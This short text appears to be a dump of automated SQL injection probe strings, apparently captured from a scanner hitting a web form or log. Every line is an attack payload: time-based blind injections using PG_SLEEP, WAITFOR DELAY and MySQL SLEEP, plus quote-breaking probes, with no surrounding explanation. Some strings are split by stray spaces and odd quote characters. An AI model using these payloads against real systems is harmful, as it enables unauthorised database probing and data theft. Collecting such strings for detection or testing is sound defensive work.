555-1)) OR 896=(SELECT 896 FROM PG_SLEEP(15))--

555-1) OR 845=(SELECT 845 FROM PG_SLEEP(15))--

555-1 OR 127=(SELECT 127 FROM PG_SLEEP(15))--

555AzZKlrcU′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/